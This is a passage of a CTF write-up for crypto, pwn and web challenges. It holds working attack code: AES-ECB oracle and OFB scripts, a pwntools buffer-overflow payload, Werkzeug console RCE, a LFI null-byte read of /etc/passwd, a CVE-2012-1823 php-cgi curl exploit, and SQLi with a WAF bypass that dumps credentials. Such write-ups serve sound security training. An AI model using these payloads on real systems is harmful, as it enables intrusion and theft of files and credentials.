b"MTE0LDg0LDQzNyw4MDk1LDMzNTUwNDM0LDg1ODk4NjkxNzAsMTM3NDM4NjkxMzc2LDIzMDU4NDMwMDgxMzk5NTIyMzUsMjY1ODQ1NTk5MTU2OTgzMTc0NDY1NDY5MjYxNTk1Mzg0MjI0NSwxOTE1NjE5NDI2MDgyMzYxMDcyOTQ3OTMzNzgwODQzMDM2MzgxMzA5OTczMjE1NDgxNjkyOTQsMTMxNjQwMzY0NTg1Njk2NDgzMzcyMzk3NTM0NjA0NTg3MjI5MTAyMjM0NzIzMTgzODY5NDMxMTc3ODM3MjgyMjMsMTQ0NzQwMTExNTQ2NjQ1MjQ0Mjc5NDYzNzMxMjYwODU5ODg0ODE1NzM2Nzc0OTE0NzQ4MzU4ODkwNjYzNTQzNDkxMzExOTkxNTIyMTYsMjM1NjI3MjM0NTcyNjczNDcwNjU3ODk1NDg5OTY3MDk5MDQ5ODg0Nzc1NDc4NTgzOTI2MDA3MTAxNDMwMjc1OTc1MDYzMzcyODMxNzg2MjIyMzk3MzAzNjU1Mzk2MDI2MDA1NjEzNjAyNTU1NjY0NjI1MDMyNzAxNzUwNTI4OTI1NzgwNDMyMTU1NDMzODI0OTg0Mjg3NzcxNTI0MjcwMTAzOTQ0OTY5MTg2NjQwMjg2NDQ1MzQxMjgwMzM4MzE0Mzk3OTAyMzY4Mzg2MjQwMzMxNzE0MzU5MjIzNTY2NDMyMTk3MDMxMDE3MjA3MTMxNjM1Mjc0ODcyOTg3NDc0MDA2NDc4MDE5Mzk1ODcxNjU5MzY0MDEwODc0MTkzNzU2NDkwNTc5MTg1NDk0OTIxNjA1NTU2NDcwODcsMTQxMDUzNzgzNzA2NzEyMDY5MDYzMjA3OTU4MDg2MDYzMTg5ODgxNDg2NzQzNTE0NzE1NjY3ODM4ODM4Njc1OTk5OTU0ODY3NzQyNjUyMzgwMTE0MTA0MTkzMzI5MDM3NjkwMjUxNTYxOTUwNTY4NzA5ODI5MzI3MTY0MDg3NzI0MzY2MzcwMDg3MTE2NzMxMjY4MTU5MzEzNjUyNDg3NDUwNjUyNDM5ODA1ODc3Mjk2MjA3Mjk3NDQ2NzIzMjk1MTY2NjU4MjI4ODQ2OTI2ODA3Nzg2NjUyODcwMTg4OTIwODY3ODc5NDUxNDc4MzY0NTY5MzEzOTIyMDYwMzcwNjk1MDY0NzM2MDczNTcyMzc4Njk1MTc2NDczMDU1MjY2ODI2MjUzMjg0ODg2MzgzNzE1MDcyOTc0MzI0NDYzODM1MzAwMDUzMTM4NDI5NDYwMjk2NTc1MTQzMzY4MDY1NTcwNzU5NTM3MzI4MjQy" print("flag{", end='', flush=True)cipher = base64.b64decode(cipher_b64).decode().split(",")while(i < len(cipher)): p = 2 ** (mersenne[i] - 1) * (2 ** mersenne[i] - 1) print(chr(int(cipher[i]) ^ p),end='', flush=True) i += 1 print("}")``` And by running this more efficient code we get the flag in no time: ![](assets//images//perfect_2.gif) **Resources:*** Perfect Number: https://en.wikipedia.org/wiki/Perfect_number* Mersenne Prime: https://en.wikipedia.org/wiki/Mersenne_prime* The list I used: https://www.math.utah.edu/~pa/math/mersenne.html#:~:text=p%20%3D%202%2C%203%2C%205,%2C%2024036583%2C%2025964951%2C%2030402457 ## Bon AppetitWow, look at the size of that! There is just so much to eat! Download the file below.\[prompt.txt](assets//files//prompt.txt) **Post-CTF Writeup**\**`flag{bon_appetit_that_was_one_big_meal}`** **Solution:** With the challenge we get a text file with the following content: ```n = 86431753033855985150102208955150746586984567379198773779001331665367046453352820308880271669822455250275431988006538670370772552305524017849991185913742092236107854495476674896994207609393292792117921602704960758666683584350417558805524933062668049116636465650763347823718120563639928978056322149710777096619 e = 43593315545590924566741189956390609253174017258933397294791907025439424425774036889638411588405163282027748339397612059157433970580764560513322386317250465583343254411506953895016705520492303066099891805233630388103484393657354623514864187319578938539051552967682959449373268200012558801313113531016410903723 c = 6017385445033775122298094219645257172271491520435372858165807340335108272067850311951631832540055908237902072239439990174700038153658826905580623598761388867106266417340542206012950531616502674237610428277052393911078615817819668756516229271606749753721145798023983027473008670407713937202613809743778378902``` This is obviously an RSA encryption with n being the modulus, e being the public exponent and c being a ciphertext, as I explained in previous challenges: > ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n... The common methods for breaking RSA is using a factor database that stores factors or using somewhat efficient algorithms and heuristics in order to factor the modulus n if n is relatively small or easy to factor, both won't work with an n as big as that, so we need to use a less common attack. Notice the public exponent e, it's very big, almost as big as the modulus itself, we often use very small exponent such as 3 and 65537 (there's even a variant of RSA which uses 2 as the public exponent) so a usage of large public exponent is most likely an indication that the private exponent d is small. For small private exponents there are 2 main attacks - Weiner's Attack and Boneh & Durfee's attack, the first attack is simpler and uses continued fraction to efficiently find d if d is smaller than modulus n to the power of 0.25, the later attack is much more complex relying on solving the small inverse problem efficiently to find d if d is smaller the modulus n to the power of 0.285 (or 0.292...the conclusions are inconclusive), after trying to use Weiner's attack and failing I succeeded in using Boneh & Durfee's attack. Unfortunately I can't explain in details how this attack works because it requires a lot of preliminary knowledge but I'll add both the papers of Weiner and Boneh & Durfee about the attacks in the resources for those interested (I'll maybe add an explanation later on the small inverse problem and how it's connected), for this attack I used a sage script I found online, updated it to python 3 and changed the size of the lattice to 6 and the value of delta (the power of n) to 0.26 to guarantee that the key is found, the modified code is [linked here](assets//scripts//buneh_durfee.sage) if you want to try it yourself (link for an online sage interpreter is in the resources), by running this code we find the private key and using it to decrypt the ciphertext we get the flag: ![](assets//images//bon_appetit_1.png) **Resources:*** Weiner's attack: http://monge.univ-mlv.fr/~jyt/Crypto/4/10.1.1.92.5261.pdf* Boneh & Durfee's attack: https://link.springer.com/content/pdf/10.1007%2F3-540-48910-X_1.pdf* Script used: https://www.cryptologie.net/article/241/implementation-of-boneh-and-durfee-attack-on-rsas-low-private-exponents/* Web Sage interpreter: https://sagecell.sagemath.org/ ## A E S T H E T I CI can't stop hearing MACINTOSH PLUS... Connect here:\`nc jh2i.com 50009` **Post-CTF Writeup**\**`flag{aes_that_ick_ecb_mode_lolz}`** **Solution:** we are given a port on a server to connect to, when we connect we are prompted to give input: ![](assets//images//aesthetic_1.png) btw if you don't see the image in the ASCII art maybe this will help: ![](assets//images//aesthetic_2.png) By giving input to the server we get an hex string in return with the message that the flag is sprinkled at the end: ![](assets//images//aesthetic_3.png) After a bit of fuzzing I discovered that for an empty input we receive an hex string with 64 characters, for input of length between the range of 1 to 32 we receive an hex string with length of 128 characters and for input with length bigger than 32 we get an hex string of length bigger than 128: ![](assets//images//aesthetic_4.png) furthermore by giving input with a length of 32 the second half of the hex string received is exactly the same as the hex string received when giving an empty input, this coupled with the reference to the block cipher AES in the challenge title led me to the conclusion that the server is using AES-ECB (AES with Electronic Codebook mode of operation) to encrypt our message appended to the flag and likely padded, as I explained in my writeup for Tyrannosaurus Rex modes of operation are used to allow block ciphers, which are limited by design to only specific lengths of plaintext, to encrypt information of any length, this is done by splitting the data into blocks, encrypting each block separately and then appending the resulting ciphertexts blocks together, ECB mode of operation encrypt every block in isolation where other modes of operation perform encryptions between blocks so that blocks with the same plaintext won't have the same ciphertext, but ECB don't do that meaning that **ECB encrypts the same plaintexts to the same ciphertexts**, a schema of this mode: <div align=center> </div> So now that we know how the hex value is created we can use a nice attack that John Hammond showed in a [recent video](https://www.youtube.com/watch?v=f-iz_ZAS258). Because we know that input of length higher than 32 gives us an output with 64 more characters than input with length of at most 32 we can deduce that the plaintext (our input appended to the flag and padded) is split into blocks of 32 characters, so when our input is 32 characters long the first block in the ciphertext (first 64 characters in the ciphertext) is entirely made out of our input and the second block in the ciphertext is the flag with the padding, and when our input is 31 characters long the first block in the ciphertext is our input with the first letter of the flag in the end. So we can choose a random string of 31 characters and iterate over all the characters and check if the first block in the ciphertext when the input is our string appended to this (so the block is entirely our input) is equal to the first block of the ciphertext when the input is only our string (so the block is our input and the first character of the flag), after finding the first letter we can do the same for the second letter using a string of 30 appended to the discovered letter and so on for all the letters using the start of the flag discovered so for as the end of the string, more formally: ![](assets//images//aesthetic_6.png) if you still don't understand the attack you should check out the video I linked above and the first comment of the video. For the attack I wrote the following code which does basically the same as I described, building the flag character by character: ```pythonfrom pwn import *import refrom string import ascii_lowercase, digits s = remote('jh2i.com', 50009)s.recvuntil("> ") flag = '' for i in range(1,33): s.sendline('a' * (32 - i)) base_block = re.findall('[a-f0-9]{64}', s.recvuntil("> ").decode('utf-8'))[0][:64] for c in '_{}' + ascii_lowercase + digits: s.sendline('a' * (32 - i) + flag + c) block = re.findall('[a-f0-9]{128}', s.recvuntil("> ").decode('utf-8'))[0][:64] if block == base_block: flag = flag + c print(flag) break s.close()```and running this script gives us the flag: ![](assets//images//aesthetic_7.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation ## OFBuscatedI just learned some lesser used AES versions and decided to make my own! Connect here:\`nc jh2i.com 50028` [obfuscated.py](assets//scripts//ofbuscated.py) **Post-CTF Writeup**\**`flag{bop_it_twist_it_pull_it_lol}`** **Solution:** With the challenge we are given a port on a server to connect to and a python script, let's start with the server, by connecting to it we get an hex string: ![](assets//images//obfuscated_1.png) and by reconnecting we get a different one: ![](assets//images//obfuscated_2.png) this doesn't give us a lot of information so let's look at the script: ```python#!/usr/bin/env python3 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip() class Service(socketserver.BaseRequestHandler): def handle(self): assert len(flag) % 16 == 1 blocks = self.shuffle(flag) ct = self.encrypt(blocks) self.send(binascii.hexlify(ct)) def byte_xor(self, ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(self, blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(self.byte_xor(block, curr)) return b''.join(ct) def shuffle(self, pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt def send(self, string, newline=True): if type(string) is str: string = string.encode("utf-8") if newline: string = string + b"\n" self.request.sendall(string) def receive(self, prompt="> "): self.send(prompt, newline=False) return self.request.recv(4096).strip() class ThreadedService( socketserver.ThreadingMixIn, socketserver.TCPServer, socketserver.DatagramRequestHandler,): pass def main(): port = 3156 host = "0.0.0.0" service = Service server = ThreadedService((host, port), service) server.allow_reuse_address = True server_thread = threading.Thread(target=server.serve_forever) server_thread.daemon = True server_thread.start() print("Server started on " + str(server.server_address) + "!") # Now let the main thread just wait... while True: sleep(10) if __name__ == "__main__": main()``` From the main function we can assume that this is the script running on the port we get, but the function doesn't seems to be important so let's get rid of it and while we're at it remove the ThreadedService class and the receive function as there is no use for them: ```python#!/usr/bin/env python3 from Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport randomimport osimport socketserverimport stringimport threadingfrom time import *import randomimport timeimport binascii iv = #####REDACTED#####key = #####REDACTED#####flag = open("flag.txt", "rb").read().strip() def handle(): assert len(flag) % 16 == 1 blocks = shuffle(flag) ct = encrypt(blocks) send(binascii.hexlify(ct)) def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) def encrypt(blocks): curr = iv ct = [] cipher = AES.new(key, AES.MODE_ECB) for block in blocks: curr = cipher.encrypt(curr) ct.append(byte_xor(block, curr)) return b''.join(ct) def shuffle(pt): pt = pad(pt, 16) pt = [pt[i: i + 16] for i in range(0, len(pt), 16)] random.shuffle(pt) return pt def send(string, newline=True): if type(string) is str: string = string.encode("utf-8") if newline: string = string + b"\n" request.sendall(string) ``` Our most important function is handle, it start by asserting that the length of the flag modulo 16 is 1, so we now know that the length is 16 * k + 1 for some number k, then it invokes a function called shuffle, this function pads the flag to a length divided by 16, so the length after padding is 16 * (k + 1), notice that is uses the method pad from Crypto.Util.Padding, this method uses PKCS7 padding style by default which pads the length of the string to the end of it, so basically our flag is now padded with the number 16 * k + 1 for a total length of 16 * (k + 1), afterwards the method splits the padded flag into blocks of size 16 and shuffles the blocks using random.shuffle, so overall after invoking shuffle we are left with an array of k + 1 blocks in a random order, where each block is a length 16 and a part of the flag padded with his length. Afterwards, handle calls encrypt with the blocks as argument, for each block the method encrypt encrypts the variable iv using AES-ECB, it then xors it with the block and append the result to an array, this type of encryption is actually AES-OFB or in other words AES in Output Feedback mode of operation (it seems the organizers really love modes of operation), so as I explained in the previous challenge and a one before it modes of operation allows block ciphers to encrypt data of any length by splitting the data into blocks and encrypting each one separately and in the end appending the ciphertexts together, OFB is very interesting in that regard because the data itself is not encrypted by the block cipher in any stage but the initialization vector (iv) is, and each encrypted block of iv is xorred with a block of the plaintext to create the ciphertext, because of this trait we can think of using this mode of operation as using a one time pad (OTP), this is because we can perform all the encryptions of iv beforehand and only xor the plaintext with it when we need to much like using OTP (OTP is even stronger because the key is totally random), if you've know what is an OTP you probably can guess why this is bad and what we can exploit, a schema of this mode: <div align=center> </div> after encryption the ciphertext created is hexified and sent to the user. So why this is bad? as I said this encryption is basically OTP where the key is the encrypted iv, it is unsafe to reuse keys with one time pad encryption because if we have two ciphertext created by the same key c1 = m1 ^ k and c2 = m2 ^ k we can xor the ciphertext to get c1 ^ c2 = m1 ^ k ^ m2 ^ k = m1 ^ m2, also by having a message and its encryption we can retrieve the key (this is called a known plaintext attack), but why is all this relevant to us? well, because we actually know the value of the last block in the plaintext, but first let's find the length of the plaintext, we can do that by just decoding the hex value we get from the server to bytes and counting the number of bytes, by doing so we find that the length of the plaintext is 48 bytes meaning that 16 * ( k + 1 ) = 48 and k = 2, and so we now know that our flag has a length of 33 and the number of blocks in the encryption is 3, why we know the value of the last block? simply because we know that it comprises of the last character of the flag, which is a closing curly brace `}`, and then a padding using the number 33, and why this is bad? let's say we have a list of all the possible values of the first block of ciphertext (there are exactly 3), let them be b1, b2 and b3, one of them is obviously an encryption of the block we know, let's say its b2, and all of them are encrypted by xorring the same value k, so if we xor every block with every other block and xor that with the plaintext block we know 2 out of the 3 resulting blocks will be the other plaintext blocks, that's because xorring b2 with its plaintext results with k, and xorring k with every other block will result with the plaintext of b1 and b3, so we've just discovered all the blocks in the plaintext! So I wrote the following code to perform the attack, the code reconnects to server until it has all the possible values of the first block, then it xors the values between themselves and between the known plaintext block and check if the result is a printable string (it's very unlikely we'll get a printable result which is not in the flag), if so it finds its position in the flag (using the flag format) and prints the result: ```pythonfrom pwn import *import binasciifrom Crypto.Util.Padding import pad, unpadfrom string import printable def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)]) # all possible combinations of plaintext blocks and encrypted IVpossible_ct_blocks = [] # the most likely third and final blockthird_block = pad(b'a' * 32 + b'}', 16)[-16:] # the flagflag = [b'',b'', third_block] # finds all the values of the first block in the ciphertextwhile True: s = remote('jh2i.com', 50028) ct_block = binascii.unhexlify(s.recvline().decode('utf-8')[:-1])[:16] s.close() if ct_block not in possible_ct_blocks: possible_ct_blocks += [ct_block] if len(possible_ct_blocks) == 3: break # decrypts the data using knowladge of the third block and the posibility of it being in every positionfor j in range(3): xorred_block = bytes(byte_xor(possible_ct_blocks[j], possible_ct_blocks[(j + 1) % 3])) xorred_block = byte_xor(xorred_block, third_block) if all(chr(c) in printable for c in xorred_block): if b'flag' in xorred_block: flag[0] = xorred_block else: flag[1] = xorred_block print(unpad(b''.join(flag), 16).decode('utf-8'))```and we got the flag: ![](assets//images//obfuscated_4.png) **Resources:*** Block Cipher: https://en.wikipedia.org/wiki/Block_cipher* Block Cipher modes of operation and ECB: https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation* One Time Pad (OTP): https://en.wikipedia.org/wiki/One-time_pad *** # Binary Exploitation **Note:** For all the binary exploitation challenges I'll be working with [IDA free](https://www.hex-rays.com/products/ida/support/download_freeware/) and [pwntools](http://docs.pwntools.com/en/stable/) ## PancakesHow many flap-jacks are on your stack? Connect with:\`nc jh2i.com 50021` [pancakes](assets//executables//pancakes) **Post-CTF Writeup**\**`flag{too_many_pancakes_on_the_stack}`** **Solution:** With the challenge we are given an executable and a port on a server running this executable, by running this executable we can see that it asks for how many pancakes we want and then by giving it input it prints us a nice ASCII art of pancakes: ![](assets//images//pancakes_1.png) Okay now that we know what the executable does, let's see what we up against, using pwn.ELF() we can see which defenses the executable uses: <div align=center> </div> The executable doesn't use canaries to protect from buffer overflows so we might be able to overflow the return address of a subroutine and cause a segfault, let's try doing that: ![](assets//images//pancakes_3.png) We got a segfault! if you've noticed to cause the segfault I used a tool called `cyclic`, cyclic is a tool from pwntools which creates a string with a cyclic behavior, we can use this string in order to find the relative distance of important values on the stack from the start of the input buffer, the command `cyclic -n 8 400` creates a cyclic string of length 400 with cyclical substrings of length 8, let's try that again but now while debugging with IDA, by placing a breakpoint at the retn command (return from a subroutine command) of the main subroutine and looking at the value in the stack before the execution of the instruction, which is the address we return to, we can get the relative distance from the return address: ![](assets//images//pancakes_4.png) The value is `0x6161616161616174` or `aaaaaaat` in ASCII (I think I messed up this picture so believe me that this is the value), we can lookup the position of this substring using the command `cyclic -n 8 -o taaaaaaa` notice that I wrote the string in reverse, that is because data is written to the stack from right to left in IDA, by running this command we get an offset of 152 from the start of the buffer, and we have a way to jump to any point in the executable by overflowing the stack right until the return address and then modifying the value of the return address to what we choose, looking at the symbols we can see a subroutine named secret_recipe, this subroutine reads a file named flag.txt and then prints its content to the screen using puts: ![](assets//images//pancakes_5.png) this function obviously prints the flag, so let's jump to it, for that I wrote the following script in python using the pwn module (which is the module for pwntools), this script connects to the server, finds the address of the function secret_recipe and creates the matching payload so that the execution will return to this function after finishing with main,then the script sends the payload as input and print the flag received from the server: ```pythonfrom pwn import *import re e = ELF('pancakes')addr = p64(e.symbols['secret_recipe']) local = Falseif not local: s = remote('jh2i.com', 50021)else: s = process('pancakes') s.recv()s.sendline(b'A' * 152 + addr)response = s.recvall()print(re.findall('flag{.*}', response.decode('utf-8'))[0])s.close()``` and in action: ![](assets//images//pancakes_6.png) *** # Web ## LadybugWant to check out the new Ladybug Cartoon? It's still in production, so feel free to send in suggestions! Connect here:\http://jh2i.com:50018 **`flag{weurkzerg_the_worst_kind_of_debug}`** **Solution:** With the challenge we are given a url to a website: ![](assets//images//ladybug_1.png) The page seems pretty bare, there are some links to other pages in the website and an option to search the website or to contact ladybug using a form, I first tried checking if there's a XXS vulnerability in the contact page or a SQLi vulnerability / file inclusion vulnerability in the search option, that didn't seem to work, then I tried looking in the other pages in the hope that I'll discover something there, none of those seemed very interesting, but, their location in the webserver stood out to me, all of them are in the `film/` directory, the next logical step was to fuzz the directory, doing so I got an Error on the site: ![](assets//images//ladybug_2.png) This is great because we now know that the site is in debugging mode (we could also infer that from the challenge description but oh well), also we now know that the site is using Flask as a web framework, Flask is a web framework which became very popular in recent years mostly due to it simplicity, the framework depends on a web server gateway interface (WSGI) library called Werkzeug, A WSGI is a calling convention for web servers to forward requests to web frameworks (in our case Flask). Werkzeug also provides web servers with a debugger and a console to execute Python expression from, we can find this console by navigating to `/console`: ![](assets//images//ladybug_3.png) From this console we can execute commands on the server (RCE), let's first see who are we on the server, I used the following commands for that: ```pythonimport subprocess;out = subprocess.Popen(['whoami'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT);stdout,stderr = out.communicate();print(stdout);``` the command simply imports the subprocess library, creates a new process that executes `whoami` and prints the output of the command, by doing so we get: ![](assets//images//ladybug_4.png) The command worked!, now we can execute `ls` to see which files are in our working directory, doing so we can see that there's a file called flag.txt in there, and by using `cat` on the file we get the flag: ![](assets//images//ladybug_5.png) **Resources:*** Flask: https://en.wikipedia.org/wiki/Flask_(web_framework)* Flask RCE Debug Mode: http://ghostlulz.com/flask-rce-debug-mode/ ## BiteWant to learn about binary units of information? Check out the "Bite of Knowledge" website! Connect here:\http://jh2i.com:50010 **`flag{lfi_just_needed_a_null_byte}`** **Solution:** With the challenge we get a url for a website: ![](assets//images//bite_1.png) the site is about binary units, a possible clue for the exploit we need to use, it seems we can search the site or navigate to other pages, by looking at the url we can see that it uses a parameter called page for picking the resource to display, so the format is: `http://jh2i.com:50010/index.php?page=<resource>` we possibly have a local file inclusion vulnerability (LFI) here, as I explained in my writeup for nahamCon CTF: > PHP allows the inclusion of files from the server as parameters in order to extend the functionality of the script or to use code from other files, but if the script is not sanitizing the input as needed (filtering out sensitive files) an attacker can include any arbitrary file on the web server or at least use what's not filtered to his advantage Let's first try to include the PHP file itself, this will create some kind of a loop where this file is included again and again and will probably cause the browser to crash...but it's a good indicator that we have an LFI vulnerability without forcing us to use directory traversal, navigating to `/index.php?page=index.php` gives us: ![](assets//images//bite_2.png) index.php.php? it seems that the PHP file includes a resource with a name matching the parameter given appended with .php, lets try `/index.php?page=index` : ![](assets//images//bite_3.png) It worked! so we know that we have an LFI vulnerability where the parameter given is appended to a php extension, appending a string to the user input is a common defense mechanism against arbitrary file inclusion as we are limited only to a small scope of files, hopefully only ones that are safe to display, but there are several ways to go around this. In older versions of PHP by adding a null byte at the end of the parameter we can terminate the string, a null byte or null character is a character with an hex code of `\x00`, this character signifies the end of a string in C and as such strings in C are often called null-terminated strings, because PHP uses C functions for filesystem related operations adding a null byte in the parameter will cause the C function to only consider the string before the null byte. With that in mind let's check if we can use a null byte to display an arbitrary file, to mix things we'll try to include `/etc/passwd`, this file exists in all linux servers and is commonly accessible by all the users in the system (web applications are considered as users in linux), as such it's common to display the content of this file in order to prove access to a server or an exploit (proof of concept), we can represent a null byte in url encoding using `%00`, navigating to `/index.php?page=/etc/passwd%00` gives us: ![](assets//images//bite_4.png) We can use null bytes!...but where is the flag located?\At this point I tried a lot of possible locations for the flag until I discovered that it's located in the root directory in a file called `file.txt` navigating to `/index.php?page=/flag.txt%00` gives us the flag: ![](assets//images//bite_5.png) **Resources:*** File Inclusion Vulnerabilities: https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/* Payload all the things - File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion* Null byte: https://en.wikipedia.org/wiki/Null_character* Null byte issues in PHP: https://www.php.net/manual/en/security.filesystem.nullbytes.php ## GI JoeThe real American hero! Connect here:\http://jh2i.com:50008 **Post-CTF Writeup**\**`flag{old_but_gold_attacks_with_cgi_joe}`** **Solution:** With the challenge we get a url to a website about G.I joe's movies called See GI Joe: ![](assets//images//gi_joe_1.png) From the name of the challenge we can assume it has something to do with Common Gateway Interface or CGI (See GI), Common Gateway Interface are interface specifications for communication between a web server (which runs the website) and other programs on the server, this allows webserver to execute commands on the server (such as querying a database), and is mostly used for dynamic webpages, this type of communication is handled by CGI scripts which are often stored in a directory called `cgi-bin` in the root directory of the web server. Looking around on the website I couldn't find something interesting, but by looking at the headers of the server responses using the inspect tool I discovered that the website is using the outdated PHP version 5.4.1 and Apache version 2.4.25, this are quite old versions of both PHP (current version is 7.3) and Apache (current version is 2.4.43) so I googled `php 5.4.1 exploit cgi` and discovered this [site](https://www.zero-day.cz/database/337/), according to it there's a vulnerability in this version of PHP which let us execute arbitrary code on the server, this vulnerability is often referred to by CVE-2012-1823 (or by CVE-2012-2311 because of a later discovery related to this vulnerability). In more details when providing a vulnerable website with a value without specifying the parameter (lack of the `=` symbol) the value is somehow interpreted as options for a program on the server called php-cgi which handles communication with the web server related to PHP (the options for the program are listed in the man page linked below), so for example by using the `-s` flag on php-cgi we can output the source code of a PHP file and so by adding `/?-s` to the URI for a PHP file located on a vulnerable server we can view the source code of the file, let's try it on the index page which is a PHP file, by navigating to `/index.php?-s` we get: ![](assets//images//gi_joe_2.png) It worked! and we now know that the flag is in a file called flag.txt located in the root directory of the server, as I mentioned before this vulnerability allows us to execute commands on the server, this can be done by using the `-d` option, using it we can change or define INI entries, or in other words change the configuration file of PHP, in order to run commands we need to change the option `auto_prepend_file` to `php://input`, this will force PHP to parse the HTTP request and include the output in the response, also we need to change the option `allow_url_include` to `1` to enable the usage of `php://input`, so by navigating to `/?-d allow_url_include=1 -d auto_prepend_file=php://input` and adding to the HTTP request a PHP code which executes commands on the server `) ?>` we can achieve arbitrary code execution on the server. let's try doing that to view the flag, we can use `cURL` with the `-i` flag to include the HTTP response headers and `--data-binary` flag to add the PHP code to the HTTP request, in the PHP code we'll use `cat /flag.txt` to output the content of the file, the command is: `curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"` and by executing this command we get the flag: ![](assets//images//gi_joe_3.png) **Resources:*** Common Gateway Interface: https://en.wikipedia.org/wiki/Common_Gateway_Interface* CVE-2012-1823: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823* CVE-2012-2311: https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311* a detailed explanation on CVE-2012-1823: https://pentesterlab.com/exercises/cve-2012-1823/course* man page for php-cgi: https://www.systutorials.com/docs/linux/man/1-php-cgi/ ## Waffle LandWe got hacked, but our waffles are now safe after we mitigated the vulnerability. Connect here:\http://jh2i.com:50024 **`flag{check_your_WAF_rules}`** **Solution:** With the challenge we get a url to a website about waffles: ![](assets//images//waffle_land_1.png) There seems to be only two functionalities to this webpage, searching using the search bar or signing in using a username and a password, as we don't have any credentials let's try to fiddle with the search option. The search option returns only the waffles that has the search parameter in them, trying to insert the character `'` gives us an error message: ![](assets//images//waffle_land_2.png) This gives us information about two things, first we know now that the search option uses SQL to filter data, SQL is a language designed for managing and querying databases (with SQL it is common to think of databases as tables with rows of data and columns of attributes), in this case a SQL query is used to select all the products with the having a value in the name attribute similar to the input given, second we know that the web server uses SQLite3 management system, this has some influence on the version of SQL used and on the operations we can use or exploit. A common attack against SQL systems is using SQL injection or SQLi, computers can't differentiate between data and commands and as such it's sometime possible to inject commands where data is requested, for example we can search for `' limit 1 ---` and this will cause the SQL management system if it's vulnerable to SQLi to execute the following query: `select * from product where name like '' limit 1` this query returns the first row of data in the product table, this will be executed because we closed the quotations and added `-- -` at the end which signifies that the rest of the string is a comment.To prevent this attack there are systems in place to filter (sanitize) the input given, one of those is a Web Application Firewall or WAF, this type of systems monitor the HTTP traffic of a web server and prevent attacks such as SQLi by blocking suspicious traffic. Let's first check if we have SQLi to begin with, using the search parameter in the example above gives us the following: ![](assets//images//waffle_land_3.png) Seems like we can use SQLi, now let's try to view the users table in order to sign in to the site, for that we need to add data from the users table to the output of the query, we can use union for that but it will only work if the number of attributes in the the product table and the number of attributes of the data added is the same, let's start with finding the number of attributes in the product table using `' order by n -- -`, adding this to the query will sort the data according to the n'th attribute, and if n is bigger than the number of attributes in this table the query will cause an error, doing so we can discover that the number of attributes in the product table (the table of waffles) is 5. With the number of attributes in mind we can try adding data, first we'll try using `' union select 1,2,3,4,5 -- -` this will add the row `1,2,3,4,5` to the output of the query, by doing so we get the following: ![](assets//images//waffle_land_4.png) It appears that the web server is blocking this search, so we might be working against a WAF after all (fitting the theme of this challenge), trying to work around the WAF I discovered that the WAF is only filtering searches with the string ` union select` so a simple workaround I discovered is using `/**/union/**/select` instead, the symbol `/*` signifies the start of a comment and the symbol `*/` the end of a comment so using `/**/` doesn't change the query's meaning but could possibly help us pass through the WAF, using `'/**/union/**/select 1,2,3,4,5 -- -` gives us the following: ![](assets//images//waffle_land_5.png) So now we have a way to add data to the output, we still need to get data about the users so we need to know the name of table which stores users data and the attributes of the table, checking if we can select data from a table named `users` by using `'/**/union/**/select 1,2,3,4,5 from users -- -` gives us an error but by checking for `user` seems to work so we can guess there is a table named `user` in the database, we need to get usernames and passwords from this table, I discovered through trial and error that there attributes named `password` and `username` so we can search for the following to get the data we need from this table: `' and 0=1/**/union/**/select/**/1,username,password,4,5 from user ---` the query executed will be: `select * from product where name like '' and 0=1/**/union/**/select/**/1,username,password,4,5 from user` this will first select the data from the product table and filter only the data that satisfy the condition 0=1, so the query will filter all the data from the product table, then it adds the data in the username and the password columns of the table user and uses number 1,4 and 5 to pad the data so we can use union, from the search we get the password and the username for admin: ![](assets//images//waffle_land_6.png) We can now login as admin and receive the flag: ![](assets//images//waffle_land_7.png) **Resources:*** SQL: https://en.wikipedia.org/wiki/SQL* SQLite: https://en.wikipedia.org/wiki/SQLite* SQL injection (SQLi): https://en.wikipedia.org/wiki/SQL_injection* Web Application Firewall (WAF): https://en.wikipedia.org/wiki/Web_application_firewall* SQLi cheatsheet: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection ## Lightweight Contact BookLookup the contact details of any of our employees! Connect here:\http://jh2i.com:50019 **`flag{kids_please_sanitize_your_inputs}`** **Solution:** We again receive a url to a website with the challenge which seems...empty ![](assets//images//lightweight_1.png) We have two options (again), to search and to login using a username and a password, but this time we also have the option to recover a user's password: ![](assets//images//lightweight_2.png) We can try some common usernames, all of them seems to give us the message "Sorry, this functionality is currently unavailable" except for the username `administrator` which 